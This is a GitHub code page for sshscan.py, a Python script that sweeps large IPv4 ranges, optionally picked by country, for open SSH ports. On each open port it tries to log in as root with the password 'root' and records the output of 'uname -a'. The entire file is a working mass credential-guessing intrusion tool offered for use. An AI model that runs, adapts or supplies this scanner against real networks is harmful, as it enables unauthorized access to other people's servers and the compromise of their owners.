-
Notifications
You must be signed in to change notification settings - Fork 30
/
sshscan.py
233 lines (194 loc) · 7.58 KB
/
sshscan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#!/usr/bin/env python
# sshscan.py 0.9 - Horizontal SSH scanner
# phxbandit
#
# sshscan.py is a horizontal SSH scanner that scans large
# swaths of IPv4 space for a single SSH user and pass. It
# uses iplist.txt as the input of IP addresses in the form
# of X.X.X.X, X.X.X.X/XX, X.X.X.X-X.X.X.X, or X.X.X.X-X with
# X-X in any octect.
#
# Usage: python -u sshscan.py
#
# IP country database:
# http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
#
# #!/bin/bash
# grep -i "$1" GeoIPCountryWhois.csv | awk -F, '{print $1"-"$2}' | sed -e 's/"//g' > iplist.txt
#
# checkServer function by Brad Peters - brad (at) endperform (dot) org
# ipRange function from http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/
#
# SSH with pexpect example:
# http://linux.byexamples.com/archives/346/python-how-to-access-ssh-with-pexpect/
import datetime
import netaddr
import os
import pexpect
import random
import re
import socket
import sys
# Define connection string, user, and pass
CNNX = 'Are you sure you want to continue connecting'
USER = 'root'
PASS = 'root'
# Convert an IP range into start and end IPs
def rangeStr(testip):
start_ip = []
end_ip = []
matchAll = re.search('(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})', testip)
for i in range(1, 5):
matchRange = re.search('(\d{1,3})\-(\d{1,3})', matchAll.group(i))
if matchRange:
start_ip.append(matchRange.group(1))
end_ip.append(matchRange.group(2))
else:
start_ip.append(matchAll.group(i))
end_ip.append(matchAll.group(i))
start_ip_str = ".".join(map(str, start_ip))
end_ip_str = ".".join(map(str, end_ip))
return start_ip_str, end_ip_str
# Generate an IP list given the first and last IPs
def ipRange(start_ip, end_ip):
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
temp = start
ip_range = []
ip_range.append(start_ip)
while temp != end:
start[3] += 1
for i in (3, 2, 1):
if temp[i] == 256:
temp[i] = 0
temp[i-1] += 1
ip_range.append(".".join(map(str, temp)))
return ip_range
# Checks the SSH port
def checkServer(ip_from_list):
serverSocket = socket.socket()
serverSocket.settimeout(0.5)
try:
serverSocket.connect((ip_from_list, 22))
except socket.error:
return 1
# Attempt to connect to SSH
def cnnxAttempt(target):
child = pexpect.spawn('ssh %s@%s uname -a' % (USER, target))
try:
i = child.expect([CNNX, '[Pp]assword: ', pexpect.EOF])
if i == 0:
print "Sending 'yes'..."
child.sendline('yes')
i = child.expect([CNNX, '[Pp]assword: ', pexpect.EOF])
if i == 1:
print "Sending password...",
child.sendline(PASS)
child.expect(pexpect.EOF, timeout=5)
elif i == 2:
print "Connection failed"
pass
# Print output
print child.before
output.write(child.before)
except:
print "Unexpected error:", sys.exc_info()[0]
# Get date for output file
today = datetime.datetime.now()
date = today.strftime("%Y%m%dT%H%M")
output_filename = 'sshscan-output-' + date + '.txt'
input = open('iplist.txt', 'r')
output = open(output_filename, 'w')
# Randomize lines in input file
rand_lines = input.readlines()
random.shuffle(rand_lines)
# Get total number of lines
total_lines = len(rand_lines)
count_lines = 0
# Iterate through IPs and check SSH
for line in rand_lines:
count_lines += 1
newline = line.strip()
match_comments = re.search('^#', newline)
if match_comments:
continue
match_ip = re.search('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', newline)
if match_ip:
# If status is defined, we know the connection failed
status = checkServer(newline)
if status:
print "%d/%d \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, newline)
else:
print "%d/%d \tHost: %s \tPort: 22/open" % (count_lines, total_lines, newline)
output.write('Host: ' + newline + '\tPort: 22/open\n')
cnnxAttempt(newline)
match_cidr = re.search('\/\d{1,2}$', newline)
if match_cidr:
# Randomize lines in netblocks
ip_list = netaddr.IPNetwork(newline)
rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)
# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0
for ip in rand_ip_list:
count_ips += 1
# Don't scan network and broadcast addresses
match_badip = re.search('\.(0|255)$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))
match_dash = re.search('\d-\d', newline)
if match_dash:
match_whole = re.search('(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})-(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', newline)
if match_whole:
ip_list = ipRange(match_whole.group(1), match_whole.group(2))
rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)
# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0
for ip in rand_ip_list:
count_ips += 1
# Don't scan network and broadcast addresses
match_badip = re.search('\.0|255$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))
else:
first_ip, last_ip = rangeStr(newline)
ip_list = ipRange(first_ip, last_ip)
rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)
# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0
for ip in rand_ip_list:
count_ips += 1
# Don't scan network and broadcast addresses
match_badip = re.search('\.0|255$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))
output.close()